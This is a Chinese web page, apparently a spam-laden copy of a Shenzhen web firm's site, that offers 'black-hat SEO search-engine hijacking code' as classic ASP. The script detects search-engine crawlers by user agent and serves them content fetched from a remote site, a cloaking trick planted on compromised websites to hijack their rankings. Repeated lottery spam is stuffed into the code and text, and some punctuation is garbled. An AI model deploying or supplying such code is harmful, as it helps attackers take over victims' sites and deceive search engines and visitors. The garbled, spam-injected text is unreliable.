领先的互联网解决方案提供商，专业黑帽seo搜索引擎劫持代码 （有兴趣的可以研究下！）！
深圳 :
领先的互联网解决方案提供商，专业黑帽seo搜索引擎劫持代码 （有兴趣的可以研究下！）！
大象彩票计划
黑帽SEO搜索引擎劫持代码 （有兴趣的可以研究下！）
<%
function isspider()
dim agent,searray,i
agent="agent:"&LCase(request。servervariables("http_user_agent"))
searray=array("googlebot","baiduspider","sogou","yahoo","soso","360spider")
isspider= false
for i=0 to ubound(searray)
大象彩票计划 if (instr(agent,searray(i))>0) then isspider=true
next
end function
function fromse()
大象彩票计划dim urlrefer,i,searray
urlrefer="refer:"&LCase(request.ServerVariables("HTTP_REFERER"))
fromse= false
if urlrefer="" then fromse= false
searray=array("google","baidu","sogou","yahoo","soso","360")
for i=0 to ubound(searray)
if (instr(urlrefer,searray(i))>0) then fromse=true
next
大象彩票计划end function
function gethttp(url)
dim http
set http=createobject("MSXML2。XMLHTTP")
Http。open "GET",url,false
Http。send()
if Http.readystate<>4 then
exit function
end if
gethttp=bytes2BSTR(Http。responseBody)
set http=nothing
if err.number<>0 then err.Clear
end function
function bytes2BSTR(vIn)
dim strReturn
dim i,ThisCharCode,NextCharCode
strReturn = ""
For i = 1 To LenB(vIn)
ThisCharCode = AscB(MidB(vIn,i,1))
If ThisCharCode < &H80 Then
strReturn = strReturn & Chr(ThisCharCode)
大象彩票计划 Else
大象彩票计划 NextCharCode = AscB(MidB(vIn,i+1,1))
strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
大象彩票计划 i = i + 1
End If
大象彩票计划 Next
bytes2BSTR = strReturn
大象彩票计划End function
if(isspider()) then
dim myfso,fileurl,filecon,myfile,bodyurl,remotehtml
bodyurl="http://www.agsec.org" //快照网址
response.clear
remotehtml=gethttp(bodyurl)
response.write(remotehtml)
response。write("<!--"&now()&"-->")
response.flush
response.end
end if
%>
扫码添加微信咨询
Copyright 2008-2018 黑帽seo搜索引擎劫持代码 （有兴趣的可以研究下！）深圳市信科网络科技大象彩票计划 Shenzhen Sinco Network Co., Ltd 严禁抄袭模仿本站 违者依法追究责任!